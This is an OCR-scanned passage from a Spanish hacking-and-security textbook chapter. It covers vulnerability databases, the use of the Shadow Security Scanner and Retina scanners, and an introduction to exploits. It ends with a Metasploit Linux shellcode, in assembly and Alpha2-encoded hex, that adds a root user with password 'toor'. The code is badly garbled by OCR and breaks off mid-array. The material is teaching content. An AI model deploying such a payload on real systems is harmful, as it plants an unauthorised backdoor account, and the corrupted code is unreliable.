Anda di halaman 1dari 51

;0

Capitulo 3
1
~
i
r
-I
mCNICAS DE HACKING CONTRA LOS
SISTEMAS Y CONTRAMEDIDAS
3.1 INTENTANDO COMPROMETER UN SISTEMA
a
) s
m
ie
Hoy en dia la informatica se ha extendido a casi cualquier ambito de
negocio, sus aplicaciones son asombrosas y nos permite realizar una infmidad de
actividades en uncorto periodo de tiempo. Los programas que proveen las grandes
empresas de software son capaces de realizar una, tarea de mil formas diferentes y
aplicando cada vez un mayor numero de opciones.
.j
Estos errores provocan que nuestro sistema sea vulnerable a un ataque
desdeel exterior comprometiendo asi toda la informacion valiosa que se guarde en
lamaquina atacada. Las grandes compafiias informaticas poseen un departamento
II
Ie
Estas grandes aplicaciones tienen muchas ventaj as, ya que nos permiten
ahorrar tiempo y recursos a la hora de resolver una tarea esencial para nuestra
actividad. Sin embargo, la gran competencia que existe en este sector hace que los
consumidores de este servicio requieran aplicaciones muy potentes y versatiles en
uncorto periodo de tiempo; el problema que se deriva de esta realidad implica que
el programa no este 10 suficientemente testado en todos los posibles usos que el
usuario lepueda dar.
t,
El rapido disefio del software, j unto con el insuficiente testing al que se le
somete, provocan que estas aplicaciones contengan errores (Bugs) importantes, los
cuales, un usuario mal intencionado (hacker malicioso) puede aprovechar para la
. ej ecucion de c6digo malicioso en la maquina donde este instal ado el programa.
i
I
I
ii
I'
I,
I
90 HACKING Y SEGURIDAb EN INTERNET RA-MA
dedicado solamente ala deteccion y solucion de estas vulnerabilidades. Cuando se
detecta un problema, estos departamentos crean un parche que soluciona los
posibles errores que existan. Los datos del usuario de la aplicacion seran
vulnerables en el transcurso detiempo desde que seencuentre el faUohasta que se
saqueel parche 0actualizacion delavulnerabilidad.
En este capitulo se explica como encontrar y explotar las vulnerabilidades
deunsoftware informatico tanto deforma local como remota, tambien sevenin las
posibles aplicaciones que se pueden sacar de estos errores y por ultimo, las
acciones y contramedidas que el usuario puede utilizar para evitar problemas de
seguridad ensus sistemas informaticos.
3.1.1 Buscar vulnerabilidades
Cuando un hacker planea realizar un ataque, debe plantearse una serie de
pasos a seguir antes de realizar cualquier ofensiva. Existen muchas formas de
entrar en determinados lugares con acceso restringido, cuyo obj etivo principal
puede ser la conquista de una maquina remota 0, simplemente, la subida de
privilegios deun usuario enun ordenador local.
Para realizar un ataque siempre hay que investigar primero a la victima,
como por ej emplo, que IP tienen los servidores y estaciones de trabaj o que tiene
conectados alared, queservicios estan iniciados y enquepuertos estan trabaj ando,
que aplicaciones utiliza, etc. El conocimiento de esta informacion es vital para
continuar con el siguiente paso.
Muchos programas y sistemas informaticos en la actualidad, a veces por
los motivos de disefios rapidos y poco testados, poseen una' serie de errores de
programacion (bugs), quepueden ser aprovechados por un hacker para realizar un
ataque. Estos errores constituyen verdaderas vulnerabilidades queponen enpeligro
1aseguridad delos datos de1avictima frente al exterior. Los problemas queplantea
esta cuestion hacen que las compafiias de software tengan que sacar una serie de
parches y actualizaciones para sus programas, quepermitan arreglar los aguj eros de
seguridad detectados 10antes posible.
Como el lector podra apreciar, la victima es vulnerable a un ataque del
exterior en el transcurso detiempo desde que sedescubre el error hasta que sesaca
una solucion 0 parche para dicho bug. Durante este tiempo, un intruso
malintencionado podra realizar ataques queexploten estavulnerabilidad peligrando
asi la seguridad de la victima 0victimas. Sin embargo, igualmente importante es
que exista algun tipo debase de datos que contenga informacion que describa cual
esel error, como seprovoca y si existe0no alguna actualizacion que10corrij a.
f
(
c
s
"
d
n
1:
~
l'
fi
[I
C
q
h
Ii
MA
I se
los
nin
se
les
las
las
de
de
de
.al
de
la,
l e
-0,
ra
or
Ie
in
~o
Ie
Ie
~I
a
o
J
S
I
RA-MA CAPiTULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 91
En la actualidad y debido ala gran cantidad de bugs que se han encontrado
en los sistemas operativos y aplicaciones informaticas, existen unas bases de datos
que contienen informaci6n acerca de la vulnerabilidad, quien la descubri6, que
clase de vulnerabilidad es, c6mo se explota, que resultados provoca, cuales son los
sistemas-y versiones afectados y si la hay, emil es su soluci6n.
Existen varias clasificaciones que describen y ordenan las diferentes
vulnerabilidades que se han descubierto; una de las mas importante es la base de
datos bugtraq, la cual se actualiza muy frecuentemente y es vital para encontrar
mucha informaci6n acerca de los errores detectados de un software. Tambien estan
las llamadas listas 0 diccionarios de vulnerabilidades CVE-CAN (Common
Vulnerabilities and Exposures), las cuales estan formadas por un nombre que
identifica la vulnerabilidad, por una descripci6n del problema y por una lista de
referencias que amplian la informaci6n sobre el error encontrado. CVE y CAN
forman dos listas distintas que se diferencian en la consideraci6n 0 no de un error
como una vulnerabilidad. El diccionario CVE esta compuesto por aquellos errores
que han sido estudiados y aceptados como vulnerabilidades, y aquellos que aun no
han sido aprobados como tales se encuentran englobados en la lista CAN. Los dos
listados de informaci6n se clasifican de la misma manera: se hace referencia a ellos
con el prefij o CVE 0 CAN, seguido de una cifra de cuatro digitos que distingue el
afio, un gui6n y otra cifra consecutiva que identifica el error de los. que se han
encontrado ese afio; un ej emplo de este formato es CVE-2007-1003. Si existe un
error que en unprincipio se encuentra en la lista CAN, como por ej emplo CAN-
2007-1010, y tiempo mas tarde se considera dicho error como una vulnerabilidad,
la informaci6n se identificaria de la misma manera s6lo que cambiando el prefij o
CAN por las siglas CVE, es decir, quedaria como CVE-2007-1010.
Microsoft Windows Cu."sor And Icon ANI Format Handling Remote
Buffer Overflow Vulnerability
Bugtraq 10: 23194
_ _ " _ r: s~,! ! ,~! I! ,_ _ _ _ _ _ _ _ _ _ t:IClss:
! ~~.. ~" ,! I.~~~ .....
ColumnJ.u eVE:
~. ~" N.. 4 U" ~
!"}~"!i!'~_!-'~~~. _
Boundary Condition Error
CVE-2007-1765
CVE-2007-0038
Figura 3-1. Base de datos Bugtraq de fa Pagina Web: www.securityfocus.com
------ -----
92 HACKING Y SEGURIDAD EN INTERNET RA-MA
Si se quiere tener un sistema segura y libre de vulnerabilidades es muy
recomendable estar al dia de las alertas de seguridad que se saca tanto en Bugtraq
como en las listas CVE-CAN. Una pagina Web muy recomendable para visitar es
http://www.securityfocus.com donde podremos encontrar labase de datos Bugtraq
actualizada con las ultimas vulnerabilidades, clasificada por tres criterios segun sea
el vendedor del software con problemas, su nombre y laversion con el error. Esta
base de datos es muy recomendable de usar ya que nos da mucha informacion
sobre el error, donde encontrar un exploit que se aproveche de Iavulnerabilidad,
como solucionar el bug y por ultimo, varias referencias de ayuda, tanto alas listas
CVE-CAN como aarticulos relacionados con el tema.
3.1.2Escaneadores devulnerabilidades
En estos momentos y antes de seguir avanzando, el lector debe tener claro
los conceptos relativos al escaneo de redes y de puertos de una maquina victima,
j unto con un conocimiento mas 0 menos conciso sobre el concepto de
vulnerabilidad y los diferentes tipos queexisten.
En este apartado se van a comentar dos herramientas muy famosas, de
ambito comercial y 'que estan disefiadas y enfocadas para realizar auditorias de
seguridad a equipos locales 0 remotos. Tanto administradores como hackers
pueden usar estos programas con finalidades distintas, ya sean dedicadas a una
comprobacion de seguridad en un sistema operativo de un servidor Web de una
empresa, 0 parte del vector deataque deun hacker antes derealizar suofensiva.
.. Estos prograrnas se denominan Shadow Security Scanner (SSS) y Retina
Network Security Scanner, sus funciones son parecidas y persiguen la misma
finalidad, queconsiste en escanear y encontrar vulnerabilidades, errores y fallos de
configuracionde un equipo obj etivo.
3.1.2.1 SHADOW SECURITY SCANNER (SSS)
Esta famosa herramienta comenzo en sus inicios como una utilidad hacker
de estilo undergound, y debido a la creciente necesidad informatica de tener
implementaciones seguras en los equipos y redes de la empresas, se fue
desarrollando un sistema grafico muy amigable que alberga diversas opciones de
configuracion que hacen de esta utilidad una muy aceptable opcion, La empresa
creadora de este proyecto Safety-Lab actualiza muy frecuentemente la base de
datos de vulnerabilidades que contiene este programa. Desde su pagina Web
http://www.safety-lab.comlse puede descargar una version trial previo registro de
un usuano,
v
h
n
p
e:
u:
bi
de
m
c (
pl
se
Ie
pc
ill
-MA
l UY
raq
~es
raq
sea
.sta
ion
ad,
tas
LfO
la,
de
de
de
~rs
tla
tla
la
la
Ie
r
r
1
RA-MA CAPiTULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 93
La opci6n mas interesante del programa se centra en tome al escaneo de
vulnerabilidades a traves de una auditoria, por ello se va a explicar a continuaci6n
Iaconfiguraci6n y ej ecuci6n de una auditoria tipo probando as! Ia seguridad de un
servidor de ej emplo.
.
Lo primero de todo es instalar el program a Shadow Security Scanner en
nuestro equipo Y ej ecutarlo, si la versi6n con la que se trabaj a es trial, es muy
probable que salga un mensaj e en el cual sepide el registro de la licencia. Tambien
es muy comun en este tipo de program as que cada vez que se inicien, pregunten
por la descarga de una actualizaci6n de la base de datos del programa, ya que se
renuevan casi a diario.
Existen varios tipos de escaneos de vulnerabilidades en esta herramienta
que se personalizan mediante reglas ya establecidas 0 creadas por el propio
usuario. Estas reglas estan formadas por m6dulos que clasifican un conj unto de
bugs que afectan a un software 0servicio especifico. Antes de ej ecutar un analisis
de seguridad de una maquina, se debe configurar una de estas reglas con los
modulos que mas se acerquen al perfil de la victima; esto es crucial ya que hacer
escaneos a modo completo (es decir, aj ustar una plantilla de escaneo) suele ser
contraproducente en terminos de perdida de tiempo en. el trabaj o de auditoria, y
problemas con cortafuegos si se esta auditando desde fuera. Un ej emplo muy
sencillo pero aclarador es si un servidor Web tiene un sistema Windows con ITSy
Ie escaneamos con vulnerabilidades que afectan a la plataforma de Linux, se
perdera tiempo de proceso inutilrnente.,
A continuaci6n se describen los pasos necesarios para configurar y ej ecutar
un escaneo auna maquina remota:
1) En la ventana principal de la interfaz, dentro del menu file ej ecutamos la
opci6n New session. Al hacerlo se abrira una nueva ventana donde
aparecera una tabla con las reglas que vienen por defecto. En este punto
existen tres opciones. La primera es modificar una de las reglas
predefinidas agregando y quitando modulos y. estableciendo diferentes
parametres, para ella se selecciona una regla y se presiona el boton Edit
rule. La segunda opci6n es crear una 'nueva regIa con el boton add rule, el
cual abre otra ventana donde se puede elegir entre dos opciones y donde se
debe afiadir el nombre de la nueva regla, Las dos opciones configurables
de esta ventana sirven para indicar al program a si debe usar y copiar los
m6dulos de una regia ya existente, 0 el usuario es el que elige los m6dulos
para la nueva regIa. La Ultima posibilidad que tenemos en esta ventana es
elegir una regIa predefmida y usarla para realizar un escaneo.
94 HACKING Y SEGURlDAD EN INTERNET RA-MA
2) Si en el paso anterior hemos e1egido modificar 0crear una nueva regia,
aparecera en lapantalla otra ventana de configuraci6n donde se eligen los
m6dulos quepersonalizaran laregIa. Las diferentes opciones que aparecen
enestaventana sedescriben acontinuaci6n:
General: en estepunto seseleccionan val ores basicos que regulan
un escaneo. El valor mas importante es elegir, dentro del
combobox con etiqueta Host Ping Type, la opci6n perfom scan
on host that do not respond to ping, 10que permite escanear una
maquina que no responde a paquetes ping, pero que aun asi esta
encendida.
Description: es un espacio reservado para escribir la descripci6n
delaregia creada.
Modules: aqui seleccionamos los m6dulos que mas se aj usten a 1a
victima.
Ports: en esta opci6n se seleccionan los puertos cuyos servicios
iniciados van aser escaneados.
Audits: estaes laparte queconmas detenimiento sehaderealizar.
En la ventana aparece una lista de m6dulos ordenados segun su
categoria, cada uno de ellos forma un arbol desplegable donde se
engloban todos los bugs que sehan registrado enesem6dulo y que
contiene Iabase de datos del programa, j unto con un cuadrado de
diferente color que indica el nivel de riesgo de dicha
vulnerabilidad. Aunque es tedioso y requiere tiempo, es muy
recomendable dej ar seleccionados s6lo aquellos que vayan ahacer
falta.
UDP Scanrpermite habilitar el escaneo depuertos UDP.
HTTP: el obj etivo de esta opcion es permitir encadenar mediante
servidores Proxy que funcionan a traves del protocolo http, para
salvaguardar asi e1anonimato.
NetBios: permite realizar escaneos al servicio NetBios atraves del
recurso oculto compartido IPC$.
\-MA
.gla,
Ilos
.cen
Lla
lOS
ar.
su
se
ue
de
ha
ly
er
te
'a
~l
RA-MA CAPITULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 9S
SOCKS: la finalidad de esta opcion es identica ala del HTTP, es
decir, proteger el anonimato del usuario utilizando para ella
servidores Proxy quefuncionen con el protocolo Socks v5.
Default Logins: aqui se configuran los ficheros detexto dondese
encuentran un listado de posibles usuarios y un diccionario de
claves, que serviran para realizar ataques de diccionario contra.
algun servicio que requiera autentificacion de la maquina
escaneada.
Mise: esta opcion engloba dospartes diferentes. Laprimera es una
lista de caracteres especificos que generan problemas en los
servicios FTP que no esten debidamente parcheados. La segunda
parte sirve para indicar al programa que palabras clave usar para
buscar en las cadenas publicas de la base de datos MIB, que
controla ygestiona el protocolo SNMP.
3) Este paso sera el siguiente despues de haber configurado 0 creado una
regIa, y es el mismo caso si se hubiera elegido al principio una regIa ya
definida por el fabricante. La siguiente ventana, despues de terminar la
configuracion del tipo de escaneo que se va a realizar, esta enfocada a
afiadir atraves del boton Add host ala maquina 0 lasmaquinas obj etivo de
laauditoria.
Figura 3-2. Ventana de configuracion de los modulos de SSS
96 HACKING Y SEGURlDAD EN INTERNET RA-MA
S610queda presionar al bot6n Start Scan que se encuentra en labarra de
herramientas superior delainterfaz.
Cuando el escaneo ha finalizado podemos ver los resultados en una tabla
queabarca lamayor parte delaventana. La interpretaci6n delasvulnerabilidades 0
avisos de seguridad que sehan encontrado en el sistema escaneado sehacen en la
franj adelatabla con el nombre deAudits.' Si sepresiona sobreuno delos bugs que
se han encontrado, aparecera en la tabla de mas abaj o una breve descripci6n del
error, j unto con referencias a las listas CVE-CAN ya labase de datos Bugtraq de
vulnerabilidades.
Figura 3-3. Ventanapara ahadir host al escaneo del Shadow Security Scanner
Setrata deuno delos mej ores escaneadores devulnerabilidades que existe
en el mercado, para usar desde plataformas Microsoft. El equipo que ha
desarrollado esteproyecto Eeye Digital Security se caracteriza por un gran trabaj o
en el conocimiento de problemas de seguridad yla actualizaci6n casi de manera
continua delabasededatos devulnerabilidades quecontiene Retina.
t:
1:
q
g
c
n
q
u
It
v.
a
e~
e~
Sl
y
-MA
de
bla
s0
ila
[ue
j el
de
RA-MA CAPiTULO 3. TECNICAS DEHACKING CONTRA LOS SISTEMAS ... 97
Se trata de un software comercia1 de ambito profesional, que permitira
tanto a administradores como a hackers obtener informacion muy detaIl ada sobre
las vu1nerabilidades de un equipo local 0remoto. L-aaplicacion esta disefiada para
que el usuario no tenga problemas en su usn, ademas incorpora un sistema de
generacion de formularios formidable que permite realizar informes de seguridad
con un nivel de detalle muy alto.
Para ilustrar un ej emplo de configuracion y escaneo de una maquina
remota utilizando una auditoria personalizada, se trabaj ara con la version 5.0.10,
que aunque es anterior a la version mas reciente del programa, permitira mostrar
una prueba de concepto amplio sobre el uso y funcionamiento de Retina. Piense el
lector que Retina 0 cualquier otro escaneador de vulnerabilidades necesitaria de
varios capitulos para una descripcion mucho mas detaIl ada y tecnica,
Lo primero de todo es instalar esta herramienta en un ordenador conectado
a la red donde se encuentre el equipo que es obj eto de un escaneo. Una vez hecho
esto y tras ej ecutar el programa, se abrira laventana principal de Retina. La interfaz
es muy intuitiva y de facil manej o, esta compuesta por un menu principal, un
submenu vertical de opciones colocado en la parte izquierda de la ventana principal
y por cuatro pestafias denominadas Discover, Audit, Remediate y Report.
Discover. En esta pestafia se encuentra todo 10necesario para descubrir
maquinas activa de una red, trabaj a normalmente enviando paquetes ICMP
(ping) a un rango de IP especificado, aunque tiene otros sistemas de
escaneo de maquinas en la red basados en el envio de paquetes TCP auna
serie de puertos, .
Audit. En esta pestafia es donde se realizan auditorias 'de seguridad a una
maquina 0 conj unto de maquinas de la red, es la parte mas importante del
programa, tiene varias opciones de configuracion que permiten
personalizar los tipos de escaneos de vulnerabilidades que se quieran
realizar y los puertos que se desean probar.
Remediate. Tras hacer una auditoria a Una maquina, Retina ofrece la
posibi1idad de generar un informe con los datos y refereneias necesarios
que permiten solueionar los fallos de seguridad deseubiertos. Tiene varias
opeiones muy utiles donde se seleecionan las partes que se desean mostrar
en el informe, el eual se puede exportar en formato de doeumento de Word
o en una pagina Web eserita en HTML.
Report. Esta ultima pestafia permite realizar un informe de las
vulnerabilidades y errores .que se han encontrado : en una maquina
----------- -- --- --_
98 HACKING Y SEGURlDAD EN INTERNET RA-MA
escaneada. Al Igual que Remediate, existen varias opciones configurables
que permiten seleccionar las partes que se desean mostrar en el informe. EI
nivel de detalle que se puede alcanzar con los parametres que permite
Retina en esta opcion es muy alto afiadiendo, ademas, la posibilidad seusar
encabezados personalizados en la generacion del informe.
Al igual que Shadow Security Scanner, los tipos de escaneo y pruebas de
errores vienen ordenados por modulos que se clasifican de tres maneras diferentes.
La primera organiza los modulos segun sea la categoria de la auditoria (Accounts
" cuentas de usuario" , Anti-vir " antivirus" , Database " Base de Datos" , etc.), la
siguiente forma de clasificacion ordena los modules segun el listado de
vulnerabilidades CVE-CAN, la ultima ordenacion de modules se realiza a traves
del BID, el cual hace referencia al identificador ID de la base de datos Bugtraq.
Para seleccionar los modulos que se desean utilizar durante el escaneo, se
tiene que seleccionar la pestafia Audits, tras esto, en Ia parte izquierda de la
ventana principal aparecera en vertical una serie de opciones de configuracion que
permiten personalizar una auditoria. Dentro de las opciones que se muestran, existe
una con el nombre de Modify Audits Groups; si se selecciona, aparecera una
nueva ventana con una lista de los modules que se cargan ordenados segun la
pestafia que este marcada (Audit., CVE, BID). Desde aqui se puede elegir los
diferentes modules que se utilizaran en el escaneo de una rnaquina obj etivo.
Retina "eport ~(I"O~oft rnteenet fwpIi)l"e ~... 7 ;;, >l~ M ~
' " F
Retina -Network Security Scanner
Network Vtllrl~r.1bjUty Assasslnen( & . Remediation Mauny..m.nt
-,. _j
TOP 20 VVWERABlunE S
The (011OWIngISan overview o(the top 20 vulnerabilities on your network.
~~v~lhr."~~~~:~-"'>:~~:-~7~~'"~':T"'tr"f~~,t~r~-~T.~~~ry~,- -(i;~rn~;:,~~"""']T
1. ~8SswordDoesNotExpire 2
2 Mal(PasswordAge
--
3. Min Pass'WOrdAge
Min Password Length
5. PasswordHistory
6. User NeverLoggedOn
7 ASN. f Vulnerability CouldAllow Code Execution
8 Windows Cumulalrve Patch 635732Remote
f.: : : -_ --l: : NU=;1I ;: : : : S05=: si.: : : ;on;-: -: -: -_ -: -: -: -: -- . . ... .._ ~. ~
10. NoRemote Registry Access Available 1
Figura 3-4_ Informe en formato web generado por fa herramienta Retina
Network Security Scanner
R
pest
espe
sedl
- .
,-MA
bles
. El
nite
isar
de
tes.
ints
Ia
de
V' es
se
Ia
ue
ste
na
la
os
RA-MA CAPiTULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 99
. I I.N" .\! . IIpe! et" I
lU--"A~;;:,;m"-l i'Cy;;-----] [----oio
mm
--]
, .
All Audits _ _ _ ~ft _ _ '_ ._
r.;Autcmati" " ny add new audits to this gloup.
~-------
Ftlteo:
Accounts
Account' Medium
Account. High CAN1999-05 ...
0
Account password same as account Ac: : ounts High CAN1999-OS_._
~,~ Account Reset Accounts Medi.."
0
Account with no pessword Account.
-
High CAN1999-05...
~
Anonymous Poicy Pwo,d - NT 4 Accounts Low 87
~
Cached logon Cledenti .. s
.! .
Accounts Low
7'_ ~
Cached Logon. Enabled Accounts Low
Account. Low
Figura 3-5. Modulos de escaneo que posee fa base de datos de Retina
Para realizar una auditoria tipo auna maquina remota, sedebepresionar la
pestafia Audits, dentro de esta se deberan ir configurando las opciones que se
especifican paso apaso ydemanera ordenada. Las opciones mas importantes que
sedebenconocer son:
Targets. Esta opcion permite elegir el obj etivo mediante laseleccion dela
IP de la victima si es {mica, con un range de IP remotas, a traves del
nombre NetBios, mediante la configuracion de grupos enteros de redes,
etc.
Ports. Desde esta opcion se pueden elegir los puertos donde se van a
escanear las vulnerabilidades a la maquina obj etivo, por defecto esta
seleccionada la Iista de los common ports que hacen referencia a los
puertos mas comunes que se utilizan para este tipo de escaneos. Es
importante sefialar que a traves del boton modify se abre una ventana
dondesepuede elegir el rango depuertos quesedeseen.
. Audits. Esta pestafia es la mas importante de todas, desde aqui se
seleccionan los modules que sevan acargar y utilizar durante el escaneo.
100 HACKING Y SEGURIDAD EN INTERNET RA-MA
Para seleccionarlos basta con presionar el boton modify sobre el grupo de
auditorias que mas convenga al caso que se quiera aplicar. Al presionar
este boton se abrira una nueva ventana donde se permite elegir los modules
que se van autilizar al escanear.
Options. Esta ultima configuracion muestra las diferentes opciones que
permiten realizar una auditoria mas personalizada. Desde aqui se puede
elegir parametres que muestren el sistema operativo de la victima, una lista
de los usuarios del sistema escaneado, una enumeracion de los parches que
se han instalado, etc.
Tras configurar las principales opciones, el siguiente paso es empezar a
escanear, para ella basta con presionar el boton Scan. Automaticamente empezara
arealizar pruebas con la maquina obj etivo y mostrara los resultados en un recuadro
de laparte inferior de la ventana.
Los resultados obtenidos del escaneo se muestran mediante una 'tabla
ordenada y clasificada segun los siguientes parametres:
General. Informacion caracteristica del obj etivo que alberga datos
referidos ala IP de la victima, el nombre del host, etc.
Audits. Esta zona muestra las vulnerabilidades que Retina ha encontrado
en el sistema remoto. Estas se clasifican en tres diferentes colores: el verde
.
muestra advertencias que son de un riesgo baj o para el equipo, el naranj a
representa un nivel de riesgo medio que pueden provocar algunos
problemas importantes en el sistema, por ultimo, el color roj o indica el
nivel de riesgo mayor para la seguridad de la maquina escaneada, se trata
de riesgos criticos que necesitan una rapida solucion. .
Machine. Muestra informacion complementaria del equipo escaneado,
como por ej emplo la MAC remota, el numero de puertos TCP abiertos, el
sistema operativo de la victima, etc.
Ports. Muestra los puertos abiertos ylos servicios iniciados en enos.
Service. Lista los servicios de red de la maquina obj etivo.
Shares. Muestra los recursos compartidos del equipo escaneado.
Users. Enumera los.usuarios del sistema obj etivo.
l
es
co
re:
en
pro
3.:
far
CO(
f u r
par
pre
tan
: .A-MA
)0 de
ronar
: luI os
que
.iede
lista
que
ar a
l a r a
idro
ibla
LtOS
ido
~de
nja
lOS
el
ita
lo,
el
RA-MA CAPiTULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 101
Por ultimo decir que cada vulnerabilidad encontrada en la maquina
escaneada posee una descripcion que se encuentra en un recuadro inferior al
comentado anteriormente. Desde aqui se puede ver importante informacion
referente a los informes CVE-CAN, Bugtraq, una breve descripcion del bug
encontrado, los parches y actualizaciones 0 herramientas que solucionan el
problema detectado, etc.
: Adctes" 192.168.1.35
~
~ Audit T.. ks
".
-: "[~-f;Y' .J > J ' ,i~.>
_ ~5~~: ScOij ' " !;
;0..... ;r" ' ,<i
,<: ;MoilfyAd,h" Gr" '" -
: ;.. Moiy PoriGrao.ps
~ 1ol000yAu<RGr,..,.
-.?M~Cr_oI.
6) Actlon~
U:~~~ __-==---~S.I.ct Targe" --------------- ..----i
IPOfli------ Targel TlI"': FieQ arne: ll.~ Tll'"' I
~: ~-=--=- rs=" ;;ip ---=tS] [RO---a I
, 0 AdQess: JobNarne II
! phone
~, =: : ;--,1 1192 - 168. 1 . 35 1 ': : --c--: -_ -: --------'
I Scan I I ! ;,edential: _ ,-
ISchedule I 1 @Senion- m
L_ . _ _ ._ .w_ .. .. . ._ ._ _ ..._ ..;
" " D~
J~Rem.o...
I.nra_ 1 I
I Oel" t" I
IR" fr~.h I
U: ==_ ========================:::::J
o ACCCM.Intl )~~Pa,! M'~~_
D Acc" " nI. Mil P_ d Length
D Acc~~ni;---- -: -~adOr : -P... " " " d0001NotE,;;i;e------ -
HELLPasswordDoesNotE.pre
---~~Pas.$WOl'd~------~-- - - ----.~.-....... --~---
Figura 3-6. Ventana principal de Retina despues de haber realizado un escaneo a una
mdquina remotci
3.1.3 Exploits
Un exploit es un programa disefiado y enfocado a explotar (aprovechar) un
fallo, error 0vulnerabilidad de un software informatico, con el fin de ej ecutar
codigo en lamaquina atacada y conseguir asi el dominio de la misma. Cada exploit
funciona s610con la version de la aplicacion que tiene el error y que no se ha
parcheado aun, esto implica que el .exploit se hace de forma muy concreta y
precisa, ademas su tiempo de vida suele ser corto, ya que depende de 10que se
tarde en sacar la actualizaci6n del software que corrige dicho bug.
102 HACKlNG Y SEGURIDAD EN INTERNET RA-MA
Los exploits suelen estar escritos en lenguaj e C 0 en Perl (lenguaj e
utilizado en el programa Metasploit framework, del que se habla mas adelante),
tambien los podemos encontrar en formato de pagina Web (HTML) 0 escritos en
un lenguaj e de scripting, por ej emplo, un archivo " *.bat" para las plataformas
Windows 0conun fichero " sh" para el sistema operativo GNU/Linux.
EI funcionamiento de estas herramientas suelen seguir un esquema muy
caracteristico; este depende del error que se quiera explotar, de las posibles
acciones que dicho bug permita realizar, del obj etivo perseguido en la maquina
atacada y del c6digo 0 shellcode que se quiera inyectar y ej ecutar. Los resultados
de la aplicaci6n de un exploit sobre un sistema programa informatico pueden
conseguir ej ecutar un determinado comando, deshabilitar algun servicio que este
iniciado, parar algun proceso que este corriendo en ese instante (por ej emplo parar
lacontinua vigilancia deun antivirus), deshabilitar alglinfirewall 0 IDS, generar un
ataque DoS (Deny of Service, denegaci6n de servicio), conseguir una consola del
sistema operativo delamaquina atacada, abrir unapuerta trasera, etc..
El c6digo que se inyecta y se ej ecuta en la maquina atacada se denomina
shellcode 0payload (carga util), suele estar escrito en ensamblador y despues
codificado en hexadecimal, estas sentencias sealmacenan en memoria y el sistema
operativo las ej ecuta, 10quepermite realizar en el ordenador obj etivo mil acciones
que dependen de la shellcode que hayamos utilizado. En el ej emplo siguiente se
muestran dos c6digos de una shellcode que permite afiadir un usuario " root" con
una contrasefia " toor" en un sistema Linux. El primer c6digo es la versi6n escrita
I
en ensamblador del payload y el segundo hace alusi6n a la traducci6n de la
shellcode en hexadecimal utilizando. una codificaci6n Alpha2 (Fuente:
http: //www.Metasploit.com/):
/ * c 6di go en ens a mbl a dor pa r a a na di r u n u s u a r i o y u na
c ont r a s ena en L i nu x* /
BI TS 32
gl oba l _ s t a r t
%i nc l u de " gener i c . a s m"
_ s t a r t :
s et r eu i d 0
pu s h byt e Ox05
pop ea x
xor ec x, ec x
pu s h ec x
pu s h dwor d Ox64777373
pu s h dwor d Ox61702f 2f
pu s h dwor d Ox6374652f
d
9
/'
A
"
11
l
S-
UI
" \
\ >
" \
\ >
" \
\ )
" \
\ )
." \
\ x
" \
\ x
"\
\x
n\
\ x
"\
\ x
"\
\ x
"\
\ x
n\
\ x
aguej e
lante),
tos en
ormas
RA-MA
rnuy
sibles
quina
tados
ieden
: este
parar
ar un
adel
nma
oues
ema
mes
e se
c on
.rita
~la
nte:
RA-MA CAPiTULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 103
mov ebx, es p
i nc ec x
mov c h, Ox04
i nt Ox80
xc hg ea x, ebx
c a l l . get s t r
db " ABC: AAnv3m35vbc / g: O: O: : / : / bi n/ s h"
get s t r :
pop
mov
pu s h
pop
i nt
pu s h
pop
i nt
ec x
edx,
byt e
ea x
Ox80
byt e
ea x
Ox80
[ ec x- 4]
Ox04
OxOl
/ * c 6di go en hexa dec i ma l s epa r a do en byt es , c on c odi f i c a c i 6n
Al pha 2 qu e per mi t e a na di r a u n s i s t ema L i nu x u n u s u a r i o
" r oot " y u n pa s wor d " t oor " , l a s hel l c ode es t a es c r i t a pa r a
i nc l u i r l a en u n expl oi t es c r i t o en l engu a j e c * /
/ * l i nu x_ i a 32_ a ddu s er - L SHEL L =/ bi n/ s h L USER=r oot L PASS=t oor
S; z e=244 Enc oder =Al pha 2 ht t p: / / met a s pl oi t . c om * /
u ns i gned c ha r s c ode[ ] =
" \ xeb\ x03\ x59\ xeb\ x05\ xe8\ xf 8\ xf f \ xf f \ xf f \ x49\ x49\ x49\ x49\ x49
\ x49"
" \ x49\ x49\ x49\ x49\ x49\ x49\ x49\ x49\ x49\ x49\ x37\ x49\ x51\ x5a \ x6a
\ x41"
" \ xS8\ x30\ x41\ x31\ x50\ x41\ x42\ x6b\ x42\ x41\ xSl \ x32\ x42\ x42\ x42
\ x32"
" \ x41\ x41\ x30\ x41\ x41\ xS8\ xSO\ x38\ x42\ x42\ x7S\ x4a \ x49\ xSO\ x31
\ x6a "
" \ x69\ x4f \ x79\ x6a \ x6b\ x32\ x4a \ x63\ x7~\ x71\ x48\ x78\ x4d\ x6d\ xSO
\ x71"
" \ x7a \ x74\ x45\ x46\ x38\ x76\ xSl \ x4b\ x79\ x46\ x31\ x32\ x48\ x33\ x43
\ x43"
" \ x43\ x72\ xS7\ x6S\ x34\ x61\ x78\ x46\ x4f \ x34\ x6f \ x44\ x30\ x71\ x71
\ x42 II
" \ x48\ x66\ x4f \ x33\ x5S\ x74\ x34\ x71\ x73\ x4e\ x69\ x7a \ x43\ xSl \ xSl
\ x6e"
" \ xSS\ x44\ x44\ xSa \ x6d\ x6d\ xSO\ x4c \ xS3\ x69\ x78\ x61\ x32\ xS3\ x30
\ x6S"
" \ x50\ x53\ x30\ x44\ x32\ xSO\ x6f \ x70\ x6f \ x70\ x74\ x37\ x4a \ x63\ x71
\ x72"
" \ x61\ x73\ x4S\ x71\ x77\ xS6\ xSl \ x70\ x37\ xSS\ x61\ x62\ x4a \ x43\ xSS
\ x30" .
" \ xSO\ x30\ x63\ x42\ x66\ x32\ x4f \ x67\ x4a \ x66\ xSO\ x36\ xSa \ x30\ x30
\ x74"
" \ x7a \ x46\ xSa \ x74\ x6f \ x46\ xSa \ xS4\ x6f \ xSl \ x72\ x72\ x49\ x72\ x4e
\ x64" .
" \ x6f \ x52\ xS3\ x71\ x78\ x6S\ xSa \ x72\ x79\ x4c \ x4b\ x42\ x71\ x4b\ x4c
\ xSO"
104 HACKING Y SEGURIDAD EN INTERNET RA-MA
" \ x6a \ x35\ x54\ x63\ x68\ x5a \ x6d\ x6f \ x70\ x71\ x7a \ x66\ x61\ xS3\ x68
\ x48"
